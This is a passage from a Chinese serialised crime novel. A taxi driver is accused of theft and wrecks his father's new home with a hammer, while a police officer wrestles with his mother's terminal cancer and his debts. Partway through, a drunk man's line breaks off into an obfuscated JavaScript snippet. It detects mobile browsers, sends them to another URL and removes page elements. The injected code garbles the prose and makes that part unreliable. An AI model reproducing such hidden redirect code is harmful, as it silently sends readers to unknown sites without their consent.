“梁警官——”戚迪唤了一声。没一会儿,梁芸从院里进来。 何阿婆等人也蜂拥进楼,目光齐刷刷盯在戚迪脸上,等一句结论。 “没东西。”戚迪摇头。 “身上没东西又怎样,说不定藏车里了!”何阿婆劈头盖脸道。 蔡岛嘉刚想反驳,就见戚迪定定地看着他。愣了一会他才明白那是什么意思。强烈的屈辱从脚底一直蹿到天灵盖,他真想大喊大叫,想把所有污蔑他的人全捅个穿,但他做不到。不是不敢做,而是不能做。 蔡岛嘉脸色难看地掏出车钥匙,胳膊僵直得好像主人已经死了几天。 “你去看看。” 戚迪对梁芸说,后者接过车钥匙离开。过了大约十几分钟,梁芸重新回来,把车钥匙礼貌地递给蔡岛嘉,然后说:“车里没发现女性贴身衣物。” “我就说了我没偷吧!”蔡岛嘉嗓门猛地拔高。 “你嚷嚷什么呢?嗓门大有理啊!”何阿婆以十倍奉还的音量怒吼道,“要是没偷我儿媳妇的摇裤,你偷偷摸摸进别人房间干嘛?鬼鬼祟祟拎个袋子回来,里面装的又是啥?!” 她话音未落,已一把扯住蔡岛嘉手里的黑色塑料袋。蔡岛嘉本能一紧,反手去夺。薄薄的塑料承受不住两股力道,“滋啦”一声撕裂成两片,里头的纸盒“扑通”落地,正面朝上,在众目睽睽下转了半圈——“红外探测器”五个黑字分外扎眼。 院子里停了一瞬,像被按了静音键。 何阿婆脸上的怒火先是僵了一下,随即换成疑惑;何阿公眉心拧成一结,何序神情不动,徐朝颜的目光则闪过一丝不安。 “这……这是什么鬼东西?”何阿婆伸手去捡。蔡岛嘉回神更快,抢先把盒子抄起,护在胸前。 “我的东西!”他压着怒气,声音仍带锋,“不是你儿媳的内裤,和你无关。” “… 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“是又怎么了?我自己家的锁,难道不能用一样的?” “你自用我不管,但你租出去了,就有保护租客财产安全的义务。最起码,一屋一钥这个要求并不过分。”戚迪话锋一转,又看向蔡岛嘉,“至于你,房东不换锁,你就装贼去吓人?要都像你这么干,这楼还要不要住人?” 在基层摸爬滚打十年,戚迪现在最擅长的不是查案,而是调解。 他几乎能把那套各打五十大板的话术倒背如流。 “哎呀算了算了!我懒得和你们浪费时间!我换锁行了吧!”何阿婆一甩手,摆出一副吃亏认栽的样子,“可我换了锁,他再偷进别人房间怎么办?” “你换了锁我还怎么进去?”蔡岛嘉憋着火顶回去。 “行了,别吵了!就这样吧,何秀英换锁,蔡岛嘉写个保证书,再有下次,我亲自把你铐到派出所!”戚迪说。 “我要他现在就写!”何阿婆不依不饶。 戚迪看向蔡岛嘉。 “……写就写!” 蔡岛嘉在餐桌前坐了下来,何阿公给他拿来纸笔,徐朝颜站在一旁和夏禧低声交谈,只听得见隐约的声音,朵朵离他最近,趴在桌上,好奇地看着他写下每一个字。 几分钟后,一篇百来个字,讲明了前后关系的“保证书”就写好了。蔡岛嘉签上自己的名字,啪一声把笔搁下: “现在满意了?” 何阿婆拿过保证书,仔细地看了一遍,没挑出错处,不情不愿地哼了一声。 “何阿婆,人家保证书也给你写了,记得把锁换了。”戚迪提醒道。 “我知道!”何阿婆拿着保证书,不耐烦道,“老子说话算数,不像某些人!” 梁芸拿出写好的调解记录本,让双方签字后,又拍照留了个档。 “既然事情解决了,那我们就走了。48小时内,我们会有电话回访;如果反悔或再起纠纷,直接打110或到所里找我。”戚迪说。 “真是不好意思,又辛苦你跑一趟了,戚警官和梁警官。”何阿公满脸歉意地送人出门。 “换锁的日期也写进调解书里了,记得提醒何阿婆,别让她耍赖。”戚迪说。 “我知道,您放心吧。”何阿公说。 梁芸回头看了一眼蔡岛嘉,说:“还有,任何偷拍都是违法行为,严重可能涉嫌犯罪。谁有线索可以直接报案。” 等巡逻车开出小院后,蔡岛嘉不想再看任何人的表情,他拎着黑色塑料袋,脸沉得像锅底,闷着一肚子火往楼上冲。 他现在迫不及待地检查出点什么,好把结果往那些污蔑他偷内裤的人脸上摔。 走到二楼时,主卧的门恰好在他眼前合上,“咔哒”一声,何序的背影被门缝吞没。蔡岛嘉脚步一顿——他是什么时候上来的?这个念头像一朵虚弱的泡沫,刚浮起就毫无意义地碎裂了,他甩开疑问,径直上了三楼。 回到房间,他立即拆开盒子,按照使用说明书找到了开关。他按下开关,拿着探测器绕屋一圈——墙角、镜面、插座、吊顶……所有可能藏针孔的地方都扫过,仪器静得像坏了。 他把三楼逐个扫了两遍,包括夏禧的,始终一无所获。 蔡岛嘉站在空荡荡的客厅里,盯着手里的探测器,喉咙发干。风从窗外吹来,带着一股烘烤过后的尘土味。 他转身准备离开,脚尖踢到某个硬物,“嗒”的轻响沿地砖滑开;一粒黑点慢慢滚到踢脚线前停住。 他皱起眉头,弯腰将其捡起。 那是一枚黑色小螺丝,十字槽新得发亮,螺纹上有细白粉尘——像刚从哪处壳体里抖落。 蔡岛嘉抬眼望向空荡的客厅,什么也没有。 昏暗之中,走廊有风轻手轻脚掠过楼梯扶手,又归于寂静。 “嗡嗡嗡,嗡嗡嗡——” 他的手机忽然震动起来。 来电显示是母亲,这两个字伴随着本能的厌烦从心底升起。他在接听和挂断之间犹豫了一下,按下了接听,心不在焉地说: “喂?” 在电流声中响起的不是母亲老掉牙的关心和唠叨,而是措手不及的哭声。 他变了脸色,那点不耐烦在领地被冒犯的恼怒中烟消云散,他悄声回到房间,关上房门。 “妈?你怎么了?” “你爸爸……”蔡娟在电话那头啜泣着,断断续续道,“你爸爸他要和我离婚……他……他刚刚收拾行李,已经搬出去了……” 一股火从胸腔里猛地腾起,蔡岛嘉当即就猜到了父亲要离婚的原因。 他有片刻没有说话,只听着母亲惶然的抽泣,直到那股怒火将他的每一根骨节,每一个毛孔都烧滚烧烫,他才听到自己沙哑低沉的声音: “我知道他去了哪儿,等我一会。” 不等母亲说话,他已经挂断了电话。手里那枚小螺丝变得不再重要,他随手扔在地上,从墙角拉出行李箱打开,从最里层的内袋里拿出一把羊角锤别在腰上,用衣摆遮掩,然后下楼开车。 他和夏禧在楼梯上狭路相逢。 “小蔡,这么晚了还出去?”夏禧脸上挂着笑容,墨镜后的眼睛却露着探究。 “嗯。”他敷衍地应了一声,侧身从她身旁经过。 一楼客厅空无一人,电视机里播放着央八的抗日神剧,厨房里传来何阿婆洗碗的声音。他没有惊动任何人地离开了自建楼。 坐上车,他抽出腰上的羊角锤放在副驾,一脚油门,黄色出租车像炮弹一样冲了出去。 16. 第 16 章 黄色出租车又一次驶入那个平凡的居民小区,蔡岛嘉将车停在三单元楼下,将羊角锤重新别回后腰,摔门下车。 从一到四楼,他的每一步都走得格外用力。 他分明警告过父亲了,而眼下父亲提出离婚,搬离家中,就是对他的警告的回应。对蔡岛嘉而言,这份回应比何阿婆的唾沫星子吐他一百次更具羞辱,因为他从未想过,有一天,对他逆来顺受,百依百顺的父母可以脱离附庸,独立于他存在。 他决不允许这样的事情发生。 来到四楼,他没有踹门——尽管他十分想这样做,但这样只会让他们把门关得更紧。他只是轻轻敲了敲门,像任何一个普通的访客那样。 三声敲门声之后,门里响起了那个女人的声音。 “谁呀?” 蔡岛嘉捏着嗓子回答:“对门的,麻烦开一下门——你家有个包裹放错门口了。” “没有呀,我们没有快递……” 门开了,穿红色吊带裙的女人的表情在看见蔡岛嘉的一瞬间凝固了,她下意识想要关门,但蔡岛嘉的动作更快,他将女人推进防盗门,一个闪身跟了进来,右手顺势带上了门。 “姜胜!”女人尖叫着后退。 他的父亲——他曾以为永远的奴仆,从卧室那扇门后赶了出来。看到突然出现的蔡岛嘉,他在短暂的惊愕后,甚至想搬出家长的姿态,呵斥道:“你来这里做什么?我和你妈已经说好了!” “我只知道我们没说好。”蔡岛嘉堵在门口,既不走,也不让他们走。他环视着这间布置温馨,充满女人味的小两居,脸上的讽刺越发明显,“你和这骚货什么时候认识的?为了她,你连老婆孩子都不要了?” “蔡岛嘉!这是白阿姨,你不能这么和长辈说话!”姜胜脸色难看。 “她是长辈吗?长辈就是这么做事的?!勾引有妇之夫,破坏别人的家庭?” 在所有人始料未及的情况下,蔡岛嘉抽出后腰的羊角锤砸向最近的鞋柜。 随着女人骤然拔高的尖叫,鞋柜的碎屑四溅,闷响像一块石头丢进湖面里回荡——“咚”的同时,裂纹疯长。第二锤落下去,木板的筋断了,铁件溅开。第三锤把柜门整个掀飞,半新的拖鞋倒扣滚出,鞋带像断了的舌头拖在地上。 女人用颤抖的手握住手机,威胁道:“住手!不然我要报警了……” “你报啊!”蔡岛嘉一锤子又敲下去。 “够了!”姜胜扑上来,双手死死扣住他挥羊角锤的手腕。 常年做体力活的姜胜比蔡岛嘉更有力,后者挣了一下,没挣脱。他冷不防顺势一松,任由羊角锤脱手,被姜胜夺了过去。姜胜刚松了口气—— “砰!” 蔡岛嘉抬脚猛踹,正中早已松垮的柜腰。木板最后的纤维像细线被扯断,“喀啦”一声脆响,柜体塌作一团。姜胜的皮鞋,女人的高跟,大大小小的鞋像柜子里翻出的器官,哗啦啦洒了一地。 姜胜将蔡岛嘉推到门上:“你再这样我真的报警了!” “报啊!让整个小区,整个江都市,都知道你为了和这个骚货在一起,抛家弃子,泯灭良心。”蔡岛嘉不甘示弱,大声喊道。 姜胜紧绷起伏的腮帮像是在咬什么难以吞咽的硬物,他目不转睛地看着自己的儿子,一字一顿道: “离婚这件事,我已经想了很多年了,就算没有你白阿姨,我也要离婚的。我知道我对不起你母亲,所以,离婚的时候,我净身出户,银行里的钱,家里住的房子——都留给你和你妈。我除了几身衣服,什么都不带走。” “我不同意。”蔡岛嘉说。 “我是你父亲,我不需要你的同意。” 蔡岛嘉胸腔里的火像被风口灌亮,越烧越旺:电话那端母亲的哭泣、方才在自建楼里被一群人围观羞辱的脸,一股脑往上顶。他像被塞进一个狭窄的箱体里,必须撞开一处缝隙才得以呼吸。 他忽然转身,朝右手边的沙发猛踹数脚——“砰砰砰”地几声,沙发腿拖着地砖挪出一道刺耳的划痕。 “你不需要我的同意,那你生我做什么?!就是为了让我来这个世间受苦,然后不想要了就抛弃我吗?!”他怒吼道。 “我还要怎么对你才满意?我已经不知道该怎么做了!”姜胜的整张脸抽了一下,声音扬高,“所以我才要离婚——不是因为你母亲,是因为你!” 蔡岛嘉脸上的暴怒一滞。 “……什么?” 昏黄的顶灯把姜胜的影子压在墙上,他的肩线缓缓塌下,像是有一只手在用力往下按。 “我每天回家……都不知道该跟你说什么。问工作,还是问吃饭?像父亲那样,还是……像对一个犯过事的人那样?十五年了。十五年的煎熬。我的工友们每天都盼着回家,只有我害怕回家。我不知道怎么面对你,也不知道怎么面对你母亲。我不明白为什么你能犯下这样的大错——”他抬起眼,直视对面愕然的蔡岛嘉,眼底血丝清晰可见,“我做不到,我每次看着你,就会想——为什么?是我哪里做错了,才让你长成这个样子?” “我怎么样了?”蔡岛嘉的自尊心被触痛,怒声说,“现在终于说出口了吧?你就是看不起我进过少管所,不相信我这辈子还能出人头地——如果你能有点本事,就算我进过少管所,也多得是公司求着要我,如果你能有点本事,把我送进最好的学校——我也不会是今天这副模样!我现在没本事,那也是因为你没教过我怎么有本事!” “……可我也没教你杀人。”姜胜说。 空气有短暂的凝滞,半晌的工夫,谁也没有说话,只剩下不知谁的粗重呼吸,以及躲在姜胜背后,那个中年女人恐惧的心跳。 蔡岛嘉脸上露出一个冰冷的笑容。 “因为你是个懦夫。” 他夺回姜胜手中的羊角锤,转身拧开门把,摔门而去。 蔡岛嘉离开后,姜胜没动,像被钉在玄关灯下,稀疏白发在黑里更亮。女人慌乱地反锁、插闩,手机在掌心打滑几次,她颤抖着在拨号界面按下三个数字。 姜胜按住了她的手,挂断了正在接通中的电话。 “你还要护着他到什么时候?!”女人带着哭腔质问。 “……那是我的儿子。”他的嗓音干哑。 “如果他下次又来呢?!” 姜胜的手无力地垂落,眼窝深重的阴影把整张脸拖得更老。 “……如果当初没给他买那只兔子就好了。”他答非所问。 女人皱起眉头,刚要追问,姜胜已经转身用后背面对她。 “早点休息吧,明天一早去家具城换个新的鞋柜。” …… 夜色把八里村派出所压成一块沉静的方盒,室内的冷白灯像从水底漏上来。值班窗后的人影偶尔动一下,椅背发出极轻的吱呀。走廊长而空,回声把每一步都拉长。墙上的“平安创建”海报被风吹起一个角,啪嗒、啪嗒地敲着墙,像提醒,又像催促。 戚迪瘫在吱呀作响的转椅里,嘴里叼着一根闪着红光的烟,右手捏着一枚银色打火机,金属盖一开一合,清脆声在空房里敲得很轻。 办公桌桌面上,放着几份文件,分别是7月18日的接警记录单和情况笔录、物证登记。 “报警时间:2008年7月18日 19:20,报警人:何志国。警情简要:报警人称楼内发现疑似人类肢体,请求到场处置。到场/撤离:到场19:32,撤离20:25。初步处置意见:可疑动物肢体,已封存送鉴定。” “被询问人:蔡岛嘉/性别男/年龄28。询问时间地点:2008年7月18日 20:15–20:20,现场院内。基本情况陈述:被询问人称于当日 14:30 左右离开自建楼,发现该物时不在场;此前亦未见楼内出现类似物件。补充情况:现场除该物外无其他损坏;周边群众称未闻异常。被询问人未触碰该物。民警提示:已告知相关法律程序与鉴定核查流程,被询问人表示知悉。核对无误:本笔录宣读/自行阅看无误后确认。” “物证编号:JD-20080718-01。鉴定机构:江都市公安局技术处。鉴定结论要点:经宏观形态比对,判明为猕猴(Macaca sp.)前肢,非人源肢体;建议移交相关部门按涉野生动物制品程序处置。” 当时他并未过多在意,猴手虽然有恐吓性质,但这种东西,通过养猴人不难得到。 然而,今日的红外探测器却让他不得不多想。 一个出租车司机,住在廉价的自建楼里,却愿意花一天的所得去买高科技探测器。他保护的,是自己吃喝拉撒睡的隐私,还是某种更见不得光的东西? 联系上前几日才发生的猴手事件,戚迪不得不认为,那栋看似寻常的自建楼里,一定有不寻常的事情正在发生。 派出所玻璃门忽然被人推开,酒气混着夜风,像一股掺了辣油的臭味飘了进来。戚迪把打火机的盖“啪”地合上,抬起眼皮,一个醉汉被半拖半推着闯进来,衬衫领口吊着两粒扣子,胸前汗渍像一块岛,裤腿溅着不知名的汤水,脚上只有一只鞋——另一只鞋被他拎在手里,当宝贝似的护着。梁芸单手卡住他肩胛,另一只手按着他的手腕,像拎一只不安分的公鸡。 “老实一点!”她的声音不高,却带着不容置疑的冷硬。 醉汉脚下打滑,一脚踢在等候区的金属椅子上,“嗵”地一声闷响,随后是不清不楚的一串骂街。 “松开!老子认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727997|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所长——”醉汉用力一甩,脚下又滑了一下,整个人朝前扑去,正好撞上前台的木边,“哎哟”一声长,半边脸贴在桌面上,呼出的酒气把登记簿一页吹得掀起小角。 “认识谁都没用。”梁芸不疾不徐,把他从桌边拎起来,按在椅子上坐好,随手把他那只孤零零的鞋拨到椅脚下,“先坐稳。” 醉汉不老实,屁股离椅背两寸,脚尖在地上乱蹬,一双棕色皮鞋的鞋跟敲得“笃笃”响。他指着墙上的“有事找警察”,舌头打着结:“我就来找——找……找你们,你们你们你们……”他重复卡壳,眼珠子在灯下打滑,像两颗泡过酒的葡萄。 “为什么要在烧烤摊上闹事?”梁芸问,“人家老夫妻老老实实做生意,哪里惹到你了?” “我就是、就是看他们不顺眼!怎么的了?”醉汉眼珠子一转,滴溜溜地定在梁芸脸上,“但我看你、看你顺眼……你虽然头发短,但脸、脸还挺好看的……有男朋友没有啊,美女警官?” 戚迪把那根只剩烟屁股的烟往烟灰缸里用力一摁,起身朝梁芸走去。 “让我来。” 梁芸看了他一眼,转身走开了。 “诶,女警官,漂亮的女警官,你怎么走了,别走啊……” 戚迪走到醉汉身侧,语气不紧不慢:“严肃点,坐好。” 醉汉正要回头再飙几句油腔,手腕已被戚迪两指扣住,接着反向一剪,像把生锈的折叠刀掰回槽里。 “啊!疼疼疼!疼疼疼!” 椅脚在地砖上“吱——”地拖出半弧,醉汉惨叫着,眼神霎时清醒了。 “好事。”戚迪把他肩胛向下按了按,“说明你还分得清疼——能分清疼,就能分清话怎么说。”他俯身,低声说,“现在,闭嘴三十秒。把脑子里的酒精倒出去,想想到底该怎么说话。” 醉汉额头冒汗,眼神终于老实,戚迪一问他就一答,分外配合。 梁芸抱着手臂,在一旁冷眼观看。 半小时后,醉汉的家人来派出所接人,老实巴交的妻子抹着眼泪向梁芸和戚迪连连道歉。醉汉在戚迪面前乖如孙子,一出派出所大门,斥责妻子的声音就威猛八方地响了起来。 戚迪和梁芸站在大厅,看着两人打车离开。 “……真是混账。”她的声音微不可闻。 戚迪冷笑了一声,不以为意地瞥她一眼:“你怕鬼吗?” “……什么意思?” “你就回答我怕不怕。” 梁芸沉默片刻,反问:“谁不怕?” “在基层再熬两年,你就会发现,除了‘人’,什么都不可怕。”戚迪转身走回办公桌坐下,从烟盒里抖出最后一支烟点上。 梁芸在他的办公桌前停了下来,目光落在他的烟盒上。盒子整体通红,正面一个硕大的“囍”字,小卖部7块钱一包。 “我记得以前你只抽玉溪。” 戚迪顿了顿,伸手将烟盒扔进抽屉里,漫不经心道:“便宜烟劲大。” 烟雾缓缓升起,像一层薄纱把他的人遮到朦胧。梁芸隔着那团烟看他,只看见一张被生活磨糙了的轮廓。 “有困难就开口。” 戚迪仿佛被那片烟雾冻结了,过了许久才说:“……能有什么困难。” 梁芸不再追问,转身回到自己的桌前。戚迪深吸一口,尼古丁在胸腔里绕了一圈,空落落的。他拉开抽屉,把那只空烟盒摸出来,握在掌心,慢慢攥紧——“咔啦”一声,硬壳被捏塌,红色的“囍”折成一道褶。 在无尽的沉默之中,秒针和时针同时指到了十二的位置。戚迪把打火机和手机一并揣进兜里,起身说:“我先下班了。” “嗯。”桌后传来梁芸的声音。 冷气在戚迪的身后合拢,夜风像蒸汽,衬衫迅速黏在背上,路灯下的树叶滴着潮气,远处虫鸣断断续续。停车区角落里那辆蓝色小电瓶安安静静地靠着墙,戚迪把钥匙一拧,电门亮起一小块冷光。他跨上车,车轮擦着地面的细砂滑出院门。 白天车水马龙的道路,此刻空无一车。 明亮的路灯像一个个岛。他从一个光岛驶向另一个,影子被拖得很长。他的思绪也从一个岛跳向另一个——一会儿是几个小时前掉在地上的红外探测器;一会儿又是垃圾桶里刚刚被他攥成一团的红双喜。 他想起猴手、想起那栋楼外墙斑驳的光,又想起梁芸盯着烟盒没说完的话。风从耳边掠过去,带着河道的潮味儿,像一只手在脑海里胡乱涂抹,把一个个念头重叠交融。 等他回过神来,蓝白相间的“江都市人民医院”灯牌已从夜色里浮出来,稳稳立在前方。 院区的路口亮得刺眼,他蹬了一下脚蹬,让小电瓶在光里慢慢减速。 17. 第 17 章 戚迪把车停在门口的非机动车位,摘下头盔。门卫在值班室里打盹,台灯压着一张旧报。玻璃门半掩,他伸手推开。 大厅空阔,消毒水味直冲鼻尖。自助机黑着屏幕,好像也在休息。 他径直进黯淡老旧的电梯,在数字按键“3”上按了两次,毫无反应,他不耐烦地用力戳了第三次,指示灯光才恍然大悟似地亮起。电梯门终于合上了,他往角落里一靠,看着显示屏上的数字从“1”跳到“3”。 叮地一声,电梯门缓缓开启。 三楼的感应灯慢半拍亮起,他的鞋底声在静谧的走廊里被拖得很长。走廊两边都是简陋的床位,有人呼呼大睡,有人睁眼等待天明或是死亡。戚迪走过无数具病体,停在305的病房前,他把兜里的打火机掏出来又塞回去,不是烟瘾犯了,只是寻求某种安慰。指节擦过衣料,发出沙沙声,他终于轻轻推开房门。 狭窄的病房里摆放着四张病床,所有床帘都是拉上的,各处传来大小不一的呼吸声。他径直走向靠窗的那一张。正挨着床打瞌睡的女护工见他来了,连忙起身,低声道:“阿姨刚睡着,之前一直喊痛。” “和医生说过吗?”戚迪问。 “说过了,医生说这个病是这样的。” “她吃东西了吗?” “阿姨下午一直在低烧,又疼得很,我给她买了皮蛋粥,但她没吃几口。” 戚迪沉默片刻,说:“我知道了,你去休息吧。还是老样子,中午十二点来换我。” 女护工点了点头,拿起椅子上她的物品,蹑手蹑脚地走出了安静的病房。戚迪在那张还温热的椅子上坐下,刚准备找个角度睡下,母亲发出一声苦痛的呻吟,从浅眠中清醒过来。 “迪子……你什么时候来的,怎么也不叫我?”母亲挣扎着想坐起来,戚迪连忙将其按住,只是把枕头稍微叠高了一些,好让她能躺得更舒服。 “你好不容易睡着,我叫你做什么?” 隔壁床的床帘背后传来翻身的声音,母亲的声音压得更低,几近蚊吟。 “你刚下班呀?吃过饭没有?我这里有苹果和牛奶,你吃吗?” “你自己吃就行。”戚迪说。 从一日三餐到工作日常,戚迪有一搭没一搭地回应着她的问题。 “你和医生说说,让他把止痛的那个药给我剂量开大一点。”母亲哀求道,“疼得我真的快受不了啦,好像骨头缝都要裂开。我知道剂量大了对身体不好,但我这身体,好不好又有多大区别呢?我只想少受点罪……” “……嗯。我一会去问问。”戚迪给她捏了捏被角,像在哄一个小孩,“你睡着了我就去。快睡吧。” 好不容易让母亲重新睡下,戚迪悄悄走出病房,来到医生值班室,敲响了房门。得到允许后,他推门而入,问起母亲的病情。 “305病床?”穿着白大褂的医生坐在电脑前,鼠标滚轮滑动电子病历单,语气平稳得像播报天气,“你母亲现在主要是转移性骨痛,晚期了,痛是正常的。要想减缓疼痛,可以考虑增加化疗次数。之前是一月一次,可以试着加到两次。” “……费用呢?” “会多出三千。” 戚迪没说话。 “另外,本月医药费需要结一下,化疗、止痛药、住院、检查,加起来五千二。账上现在没有余额,没法安排下一步治疗。”医生说完,停下来看着他。 那是个年龄和他相仿的男人,眼里没有同情或不耐烦,只有公事公办的平静。戚迪想,他穿警服的时候,其他人看到的,一定也是这样的表情。 “我……要等发工资。”戚迪感觉喉咙发干。 “那你先想办法借一点,工资可以等,人等不了呀。”医生切断了和他的目光交流,重新看向电脑屏幕。 “我尽快吧。”戚迪低声说。 他转身走向值班室大门,在门口停了下来,转身问道:“我想问下,我们家没癌症史,为什么她会……” “肺癌的成因很杂。环境、空气、年纪、免疫……现在癌症越来越常见了,年龄也在往下走。比起纠结病因,现在更要紧的是把病人的治疗跟上。” “好……我知道了。”他转身握住门把手,走了出去。 走了一半,他忽然停下脚步,想问问能不能通过加大止痛剂的剂量来替代多一次的化疗。当他回到那间明亮的医生值班室外,正好听到里面传来刚刚那名医生和另一名值班医生的轻声交谈。 “……自己一身烟味,还问为什么。” “就是啊,二手烟的危害比一手还大。” 戚迪伸出的手在半空僵了一下,然后更用力地握住了门把,怒气烧灼着他的脸皮,让他下意识想推门进去理论,把这口罪大恶极的黑锅重新扔回给站着说话不腰疼的医生,但袖口的烟味先给他来了一记闷棍,紧接着,他意识到,让他脸皮火辣辣的并非是愤怒,至少,不完全是愤怒。 他触电一般收回了手,从值班室门前狼狈地逃走了。 亮如白昼的白炽灯让他无处遁形,戚迪推开救生通道沉重的防火门,躲在了闷热而昏暗的楼道里。他蹲在角落,下意识想抽一支烟,但手指却在触及口袋里那包刚买的红双喜时停住了。 他装作本来如此的样子,摸出了烟盒旁的手机。 手机灯光幽幽地照映在他焦虑的面孔上,眼眶里一条条红色的血丝,仿佛寄生虫在游走。 银行存款早已见底,几个能贷款的正规渠道已经贷不出一分钱,剩下的只有比高利贷更夸张的黑网贷。他看了又看,最后还是退出了app。 他需要钱。钱从哪里来? 巨大的压力之下,对尼古丁的渴望又开始蠢蠢欲动。他的手指不由自主伸向那包崭新的烟,撕开透明薄膜,抖出一根,点燃—— 猩红的光点在幽暗的环境里忽明忽暗,就像他母亲时强时弱的生命,他想起他是如何在饭后悠然地点上一根烟,而母亲只是无奈地摇头,继续收拾餐桌上的垃圾;想起母亲捂着肋骨,咳到喘不过气的模样,想起他从电视机前不耐烦地抬起头,嘴里仍叼着那根该死的烟,责怪她不去医院体检—— 好像他监督她每年做一次体检,已经尽到了为人子对母亲健康应有的责任。 “靠——” 那支点了还未抽上一口的烟落到了地上。戚迪骤然站起,拳头带着力和恨撞上墙,沉闷的回响在楼道里散开又折回。他的身体一动不动,但灵魂却已经无声地散了。疼从骨头里往外钻,对他而言却如甘霖。 他需要这疼来提醒,自己还是个人。 戚迪站起身来,一脚踩灭烟头,捡起后,连带着那盒刚开封的烟和打火机,一并扔进了拐角的垃圾桶里。 他回到病房,上一秒还闭眼小憩的母亲一听见他的脚步声,就睁开了双眼。她的眼睛和他一样,都因缺乏睡眠而布满血丝。不一样的是,他是有罪的,他理应痛不欲生,但母亲却是无辜的,她不应受此折磨。 “迪子,医生怎么说?能多给我开些止痛剂吗?”母亲期待地看着他。 他坐在床边的椅子上,嘴张了张,没有发出任何声音。 他说不出口。无论是没有钱给她减轻痛苦,还是自己才是导致这一切的罪魁祸首——他的喉咙像是喷涌着岩浆,从舌头到五脏六腑,一切都要被融化了。 “……我忘记问了。”他生硬地说。 他宁愿母亲责怪他没把她的话放在心上,宁愿母亲催促他再去问一遍,也不想看见那张布满岁月磋磨痕迹的脸,对他露出看穿了一切的温柔神色。 “那就算了……”母亲反过来安慰道,“其实也不是很疼,习惯了还好,忍忍就行。药吃多了也不好。” 母亲体贴的话语,像世间最锋利的刀尖,穿透了他碎成一片一片的灵魂。他最后的防御,最后的理智,在这一刻分崩离析。 他像一棵忽然垂下枝的树,把脸藏进被褥的阴影,伏下去的一刻,胸腔里像被重物压住,缓慢而持续。热泪从眼眶渗出,又被冰凉的布料吸走,只留下一阵钝痛。 他用指节抵住床沿,借着那点冷硬,才勉强把声音闷住。 一只温热的手伸了过来,摸了摸他的后颈,手很轻。像一朵棉絮,一片花瓣。他不应,不动,像一块沉在水底的石头。 父亲刚去世那会,母亲也是这样,什么也不说,只是一遍又一遍抚摸着年幼的他的头和后颈。 “迪子,别怕。你还有妈妈。”他还记得那时她说的话。 可他很快就要没有妈妈了。 老天啊。 这是他世上仅剩的亲人啊。 他的肩一阵阵起伏,像潮汐拍打海岸。不敢抬头,怕一抬头,整个人都会由内至外地散掉。 “迪子,要不咱出院吧。”母亲低柔的声音从上方响起,“反正这病也治不好了,别再浪费钱了。你还没娶媳妇呢。” “……不。”他咬着牙,从崩溃的身体里挤出坚硬的声音。 他捧起被子,胡乱擦掉脸上的泪,抬起头来,直视着母亲担忧的双眼。 “家里还有钱呢,你安心治病,别想那些乱七八糟的。医生都说心态很重要。你这个心态才是浪费钱。至于媳妇,”他露出那副玩世 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整个上午,他陪护母亲输液、做检查,得空的时候就靠在椅子上睡半小时。时间不知不觉来到中午。女护工拎着医院食堂打好的饭菜进门,把几样清粥小菜摆到床头柜上。她端起昨晚剩下的皮蛋粥,转身要扔。戚迪伸手抢过那个一次性打包盒。 “给我吧,一会我带出去扔。” 他把母亲交接给护工,独自走出了医院。在那辆蓝色电瓶车旁,他蹲在地上,揭开了一次性饭盒的盖子。 粥已经发凉,皮蛋边缘凝着一层浅浅的油光。他用一次性小勺一口一口舀,吃到见底,把四周沿着刮了两圈,连角落里薄薄的粥皮也抠干净。 刮完最后一遍,他按紧盖膜,起身投进附近的垃圾桶里,空碗在桶壁里轻轻一响,声音被清晨吞没。 走投无路,可还是要走。有什么办法呢?没死,就要继续活。 一只丑了吧唧的狸花猫在不远处试探地看着他,瘦得两肋都凹了下去。戚迪在身上摸了半天,从裤兜缝里摸出一枚不知什么时候剩下的瓜子,嗑开之后,拿出瓜子仁,朝狸花猫扔了过去。 狸花猫好奇地闻了闻,然后高傲地走开了。 “……你他妈比我讲究。”他喃喃道。 戚迪骑上电瓶车,先回了一趟家。再出门的时候,手里提着一罐礼盒装绿茶,那是半年前从街坊手里收到的礼物。除此以外,他实在是找不到能拿出手的东西了。 到了派出所,他先把车停好,然后去找所长。 所长办公室里,礼盒装的绿茶孤零零地放在办公桌上。他拘谨地站着,所长沉默地坐着。烟灰缸里散发的淡淡烟味,像小猫抓挠那样勾着戚迪的心。 终于,所长叹了口气,开口说道: “戚迪同志,既然你说你已经在基层干了十多年,那你应该知道,这东西不该送,不能送,哪怕它只是你所谓的‘心意’。” 戚迪想辩解,但又说不出口。他当然知道这是违规的,但他已经没有其他法子了。如果是以前,他绝不会这样低声下气说话,但现在,别说让他低头,就是下跪,他也心甘情愿。 “今年我们所是有一个调往分局刑警大队的名额,你也确实在我们的候选名单上。但候选名单上不止有你。最终的人选,我们看的是能力和经验,而不是谁送了礼,谁没送。你明白吗?” “我知道,我知道……可是,所长,我母亲得了癌症,晚期——我打听过了,刑警的基础工资比民警多一千多块,平时还有各种津贴,也更容易申请到困难补助,”他将曾经自己最引以为傲的尊严,亲自踩在脚下,苦苦哀求,“我需要这笔救命钱——” “……你母亲的事,我也知道。但规章就是规章,我们选的是刑警,不是贫困户。”所长说。 戚迪直愣愣地站在原地,羞愧和绝望像一只看不见的大手,将他的心脏攥得血肉横飞。那罐保质期只剩下半年的绿茶,越看越像是他仓促廉价的人生。 “……好。我知道了。”他僵硬地提起那罐绿茶,转身朝门口走去。 “戚迪。”所长在他身后出声。 他不抱希望地停下脚步。 那个在他眼中,一直惯会打官腔,装模作样却又没有实绩的中年男人,不知何时走到他身旁,从裤兜里掏出所有的钱塞给他。 戚迪条件反射地就要拒绝。 “这不是给你的,是给你母亲的。收下。”所长命令道。 戚迪的手一僵,后者顺势就将那一沓红色钞票放进他的手里。 “推荐必须按流程走,如果你想争取这个名额——”所长看着他的眼睛,一字一顿道,“在八月前查个大案出来,向所有人证明,你就是最适合这个位置的人。” 18. 第 18 章 近两年的旧案把桌头垒成一道阴影,纸页在灯下泛出干燥的白光。 